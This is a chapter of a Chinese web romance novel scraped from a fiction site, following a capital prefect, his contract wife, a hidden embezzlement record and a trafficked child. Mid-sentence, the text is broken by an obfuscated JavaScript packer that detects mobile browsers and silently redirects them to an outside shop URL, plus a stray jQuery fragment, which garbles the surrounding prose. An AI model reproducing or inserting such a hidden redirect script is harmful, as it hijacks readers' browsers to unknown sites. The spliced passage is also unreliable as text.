文趣网 > 其他小说 > 说好的假婚,京兆尹却真香了 > 30. 情爱之事可怖也
    苏允迟眸底荡起微澜,手指蜷了蜷,不发一言。

    以为他没听进去,俞筝然只当是他书读得多听不得劝,便不再多说。

    “好啦,大人,伤处理完了。”

    她边说边收拾了药瓶,起身将药箱放回案几。

    苏允迟低头一看,眸光乍明。

    他竟都不曾发觉,她已替他用纱布缠住了伤口,还系了一精致的双耳结。

    他细细看了会儿那洁白灵动的结扣,再悄悄望了望她的右手食指。

    方才见她替自己抹药时指腹上有一层浅淡的绿色,泛着莹润的光,想来已是抹了药。

    “手指,还疼吗?”半晌,他开口问。

    俞筝然闻言看了眼自己的烫伤处,咯咯笑说:“已经不疼了。一点烫伤而已,我没那般娇气。”

    苏允迟又沉默了,垂着眸。

    “大人,天色不早了,是不是该回京兆府了?”俞筝然望了望窗外,问道。

    “嗯。”苏允迟应下,接着他开口道:“有件事情,我想再问一次。”

    “什么?”俞筝然见他面容端肃,亦敛住笑意。

    “那枚玉佩你确实未曾转交过他人?亦或说被旁人接触过?”

    俞筝然听到他再次问到玉佩之事,秀眉微蹙。

    那枚玉佩可是关乎重要之事?

    她坚定摇头:“没有的,大人。我确定。”

    欲伸出二指立誓,忽地眸中掠过一缕光亮,她指了指自己的床榻。

    “哦,对了,它被我弄掉过床底,我拾起来的时候看了没有任何闪失,所以没提过这件事,有什么不妥吗?”

    话音刚落,苏允迟已疾步到了榻边,趴在地上往床底探去。

    果然,有一张淡黄色的粗纸被卷得细长小巧,静卧于内。

    他拾出,攥进手心。

    见苏允迟容色愈发肃然,俞筝然不明所以,犹犹豫豫地问道:“大人,那是什么掉到了床底?很……重要吗?”

    苏允迟目光落在俞筝然面上。她正微微偏头看着他,满眼疑惑,亦有些紧张。

    他薄唇微抿,少顷才缓缓道:“我娘亲去世前替我求得的平安符。”

    “……玉佩内里竟有平安符?”俞筝然眸子瞪大,旋即惭愧垂下头,声音渐低,“对不起啊,大人,我不知……”

    “不关你的事。”苏允迟打断她,“你不必愧疚,是我自己没保管好。”

    俞筝然抬头看了他一眼,继而又耷拉着脑袋:“可终究是我弄到了床底下啊。”

    “但现在已经拾回了,不是吗?”苏允迟道,他的语气放得极轻。

    俞筝然怏怏不乐地轻轻点头。

    大人这般紧张地问了好几次,定是很看重此物,他没任何怨言竟还出口安慰自己,果真是个很好的人。

    “走吧,去看看那个孩子如何了?”苏允迟道。

    二人一同入了堂内。

    阮施青正端着糕点望小男孩那边去,桌上满满当当摆了十几个碟子。

    男孩面前有三四个空碟子,他正在饮茶。

    刘玉见到苏允迟,起身走近拱手道:“大人,那孩子已将事情前因后果说清楚了。”

    苏允迟颔首,示意他继续说下去。

    “他居住于京外的小村庄,名曰桃花村,几天前人牙子用吃食迷晕他,把他弄到了京城来。”

    “因他逃过几次,所以人牙子毒瞎了他的双眼,恐吓他再逃便毒哑他,他害怕便几天没再逃,今日到了街道,他听着人多才敢再逃,于是遇上了咱们。”

    “带他回京兆府,寻医师给他医治眼睛,随后安置他归家吧。”苏允迟吩咐。

    “另,全城追捕那人牙子。”

    刘玉听了后,抬眼抿嘴看了看苏允迟,终是鼓起勇气道:“大人,那人牙子长什么样儿我们没看清呐……”

    苏允迟默然。

    眼前浮现那中年人路过时的情景,脑海中已勾勒出了那人的模样。

    “可有笔墨纸砚?”他侧身问俞筝然。

    “有的。”俞筝然急速取了笔墨纸砚并列于桌上。

    苏允迟端坐于桌前,神色自若。

    只见他提笔蘸墨,笔尖落纸后手腕轻转,行云流水间一副人物小像霍然出现在纸上。

    “此人五短身材,左腿微瘸。”苏允迟将小像递给刘玉,添了一句。

    刘玉应着接下。

    “走吧,先回府。”苏允迟避开俞筝然手指患处,拉着她的手往茶楼外而去。

    路过门口时,俞筝然冲阮施青眨了眨眼,道:“青姐,咱们明日还是五百份套餐。”

    阮施青笑着点了点头,随即摆了摆手示意她快走。

    归了京兆府,俞筝然如旧回了寝房,苏允迟去了书房。

    独坐于案前,苏允迟方展开那张泛黄的小纸张,纸上果然写着丞相蔡忠于江南贪污之事——

    宁安十二年,江州筑水库,蔡忠偷工减料,贪污黄金约两百万两。

    宁安十三年,江南修水路,蔡忠贪污黄金约三百万两。

    宁安十五年,江南漕运造船,蔡忠虚报材料用量,贪污黄金约五百万两。

    ……

    以上贪墨金银皆被藏于江州关南山后山靠崖壁处的山洞内。

    苏允迟眸光阴冷,最终将纸张狠狠碾在手心,指节发白。

    恰在此时,门吱嘎被推开,莫夜笙裹挟夜风入内。

    “阿迟,我同你说,你家娘子做的那茶点套餐啊,可真是人间美味啊!”

    他关上门兴奋地说道,忽见苏允迟面色不霁,他唇畔的笑容亦散了去,蹙眉问道:“怎么了?发生了何事?这是说,不欢迎我?”

    苏允迟目光投了过来,须臾他道:“莫大哥那枚玉佩找见了。”

    “找见了?哪里找见的?”莫夜笙激动地扑了过来,双手抓住苏允迟的胳膊,“那证据呢?”

    苏允迟定定地看着莫夜笙。眼下不是告知师兄全部真相的时候。

    “玉佩内里仅说了,那贪官将贪污的金银藏于关南山后山洞中。”他淡淡开口。

    “那还等什么?提了证据抓了那狗官啊!”莫夜笙咬牙切齿,愤愤道。

    见苏允迟不言不语,也不动作,他了然说了句:“明白了,你身份不宜离京。”

    “我去吧,我现在便去!”

    苏允迟陷入思量。

    此事只有自己与师兄二人知晓,虽说师兄有时候不够敏锐,胜在武力高不至于陷入危险,确实是最好的人选。

    思及此,他郑重点头:“丞相府那边你如何交代?”

    “这有什么,我这就写一封信交给府内门房,就说我在京城待够了,想浪荡天涯,这侍卫我不干了。”莫夜笙一拍脑袋,斩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599833|204385||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    钉截铁地说道。

    而后他又颇为失落,叹了口气:“只是有些可惜了,这般好的差事……”

    苏允迟眉头稍稍下压,瞥了他一眼:“就这般不舍?”

    “唉呀,你不懂!”莫夜笙用肩膀撞了撞他。

    “对了,你还没告诉我,你怎么寻见那玉佩的?”

    “当初,我还以为你家娘子私藏了,特意到她闺房寻过一次,唉……毫无所获。”

    话刚说完,他便觉身旁这人整个气场如冰般寒气刺骨,他不由得打了个哆嗦。

    瞟了眼他森冷的眼神,他结结巴巴道:“咋、咋了……你吓唬师兄啊……”

    “你进过她闺房?”苏允迟身侧的手紧握成拳,语气森然。

    莫夜笙咽了咽口水,后退半步:“得,师兄道歉,师兄道歉还不成么?”

    苏允迟却是不依不饶,向前逼近直直盯着他,迫人的气息压得他心惊,最终他咬牙推了把苏允迟,挺直胸板道:

    “苏允迟,你怎这般霸道?我是去寻玉佩,又不是别的什么事情?”

    “她对你灌了什么迷魂汤,让你这向来不近女色、清心寡欲之人成了这么个德性?”

    苏允迟被此话问得呆在原地,星眸闪动不语。

    “你、你好自为之,我走了。”莫夜笙趁机溜之大吉,“今夜我就回江南。”

    他落荒而逃,心里默默嘀咕:男女之情可真是件可怖之事,连曾经淡薄情爱、不染凡尘的文武状元都栽在里头了!恐怖如斯啊!

    门吱呀一声被关上,徒留苏允迟一人于书房中神游天外。

    回了后衙寝房时,俞筝然已梳洗完毕。

    见到是苏允迟,她笑着迎上去,递过一张银票。

    “大人,之前在绿山茶庄时你替我们茶楼付的茶叶钱,今日我特意从茶楼取了来,咯,还你啦!”

    苏允迟目光定在那张银票上,只觉它被烛光照得极为刺眼。

    “一点钱财而已,你不必挂在心上,也……不用归还。”

    “这怎么能行?”俞筝然诧异道。

    “亲兄弟还明算账呢,更何况你我二人之前签了文书,可是规定了我们二人钱财各不相关。我虽爱财,但是君子爱财取之有道,借钱不还的事情我可做不来。”

    苏允迟怔住,片刻后他才伸手接过那张银票。

    俞筝然察觉出他眸色异常,知他是不情愿地收下了银票,心头暗自吐槽:都说古代的文人清高,视钱财如废土,果真是没错!

    正在她暗叹古代封建社会的毒思想时,听到苏允迟道:“这个药膏治烫伤极好,你试试。”

    俞筝然抽回思绪望去,是一白色小瓷瓶。

    她略微意外,大人竟会惦记着她的烫伤?

    但想到他为人极端正,自是对她这个盟友会多照顾些,便笑着接过道了谢。

    苏允迟见她收下了,眉心稍有舒展。

    “我沐浴。”丢下这句话他便去了内间。

    回来之时,俞筝然坐在榻边,打了个哈欠:“大人,这药膏真的好用,我的手已经不疼了,你怎么样,需不需要我帮你上药?”

    苏允迟这才注意到床头的托盘中搁着药和纱布。

    “不用,我自己来便行,你休息吧。”他唇角微微上扬。

    “那好吧,晚安。”俞筝然倒头便睡,不过几息已入了梦乡。